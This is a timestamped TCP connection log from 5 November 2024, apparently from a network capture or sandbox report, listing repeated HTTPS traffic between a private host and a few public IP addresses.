Nov 5, 2024 20:51:30.288335085 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.288343906 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.289051056 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.289056063 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.342813015 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.342833996 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.342876911 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.343033075 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.343033075 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.363240004 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.364960909 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.364974976 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.364984989 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.364989042 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.405817032 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.406308889 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.406313896 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.409939051 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.409944057 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.427284956 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.427356005 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.427422047 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.490641117 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.490672112 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.490748882 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.505486012 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.505486012 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.505506992 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.505526066 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.542376041 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.542515039 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.542670012 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.572159052 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.572159052 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.572185993 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.572196007 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.605488062 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.605513096 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.617105007 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.617142916 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.617259026 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.656788111 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.656806946 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.656871080 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.656963110 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.656974077 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.658227921 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.658246994 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.715711117 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.728485107 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.728507042 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.729149103 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.729162931 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.863876104 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.863979101 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.864087105 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.864799976 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.864823103 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.864835978 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.864845037 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.872194052 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.872220039 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.872281075 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.872647047 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.872659922 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.030776978 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.031203985 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.031235933 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.031640053 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.031645060 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.096816063 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.096853971 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.096927881 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.098917007 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.098932981 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.168694019 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.168721914 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.168766022 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.168775082 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.168808937 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.169244051 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.169261932 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.169270992 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.169275045 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.172399044 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.172437906 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.172620058 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.172730923 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.172745943 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.345098019 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.345563889 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.345586061 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.346019030 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.346023083 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.409826994 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.410244942 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.410271883 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.410689116 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.410692930 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.449722052 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.450095892 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.450114012 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.450505972 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.450512886 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.478689909 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.478760004 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.478801012 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.479047060 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.479059935 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.479088068 CET	49854	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.479095936 CET	443	49854	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.482168913 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.482209921 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.482320070 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.482592106 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.482606888 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.545964956 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.546009064 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.546063900 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.546066999 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.546118021 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.546338081 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.546338081 CET	49855	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.546353102 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.546361923 CET	443	49855	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.550142050 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.550174952 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.550312996 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.550424099 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.550437927 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.589116096 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.589183092 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.589365959 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.589589119 CET	49856	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.589596987 CET	443	49856	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.592163086 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.592195034 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.592259884 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.592385054 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.592401028 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.623311043 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.623720884 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.623739004 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.624165058 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.624170065 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.760473013 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.761092901 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.761145115 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.761169910 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.761255026 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.761255026 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.761430979 CET	49857	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.761441946 CET	443	49857	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.763818979 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.763854980 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.763928890 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.764055967 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.764071941 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.874795914 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.875070095 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.875591993 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.875705004 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.937475920 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.937489986 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.937938929 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:31.938102007 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.940871000 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.941910982 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.941910982 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:31.941924095 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.941941977 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:31.942286015 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:31.983340025 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:32.091243982 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.091310978 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.091406107 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.091617107 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.091617107 CET	49861	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.091634035 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.091643095 CET	443	49861	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.094703913 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.094769001 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.094863892 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.096369028 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.096393108 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.114964008 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:32.115108967 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:32.115766048 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:32.115806103 CET	443	49860	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:32.115932941 CET	49860	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:32.136686087 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:32.136723995 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:32.137186050 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:32.137578011 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:32.137593031 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:32.259438992 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.260044098 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.260088921 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.260670900 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.260678053 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.328761101 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.329226017 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.329260111 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.329721928 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.329729080 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.366986990 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.367439985 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.367470980 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.369035006 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.369050980 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.399673939 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.399701118 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.399744034 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.399768114 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.399995089 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.399995089 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.400094032 CET	49862	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.400111914 CET	443	49862	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.404719114 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.404757977 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.409045935 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.409151077 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.409164906 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.473404884 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.482378960 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.482590914 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.482590914 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.482625961 CET	49863	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.482641935 CET	443	49863	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.485469103 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.485507011 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.485706091 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.485706091 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.485730886 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.504280090 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.504306078 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.504369974 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.504539013 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.504637003 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.504637003 CET	49864	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.504653931 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.504664898 CET	443	49864	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.508725882 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.508740902 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.508929968 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.508929968 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.508950949 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.531400919 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.531857967 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.531877041 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.532752037 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.532758951 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.668399096 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.668483973 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.668549061 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.668824911 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.668824911 CET	49865	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.668842077 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.668849945 CET	443	49865	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.671510935 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.671540022 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.671771049 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.671771049 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.671788931 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.871942043 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.872426033 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.872453928 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.872881889 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:32.872886896 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:32.985831976 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:32.985924006 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.012981892 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.013040066 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.013212919 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.025168896 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.025197983 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.025212049 CET	49866	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.025217056 CET	443	49866	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.029071093 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.029103994 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.029189110 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.029505014 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.029520988 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.041222095 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.041244030 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.041548014 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.041600943 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.058732986 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.099323034 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.196167946 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.200122118 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.200146914 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.203840017 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.203852892 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.241223097 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.248442888 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.248467922 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.252121925 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.252126932 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.302376032 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.304785967 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.304807901 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.308403969 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.308408976 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.338395119 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.338515997 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.338608027 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.346514940 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.346579075 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.346647978 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.383806944 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.383841038 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.383894920 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.383912086 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.383949041 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.397011995 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.397036076 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.397047043 CET	49868	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.397051096 CET	443	49868	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.403815985 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.403841019 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.403856039 CET	49869	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.403862953 CET	443	49869	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.414453983 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.414495945 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.414555073 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.447695017 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.447755098 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.447832108 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.453818083 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.465457916 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.465501070 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.465672970 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.465707064 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.465707064 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.465771914 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.465786934 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.466795921 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.466795921 CET	49870	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.466823101 CET	443	49870	13.107.253.45	192.168.2.6
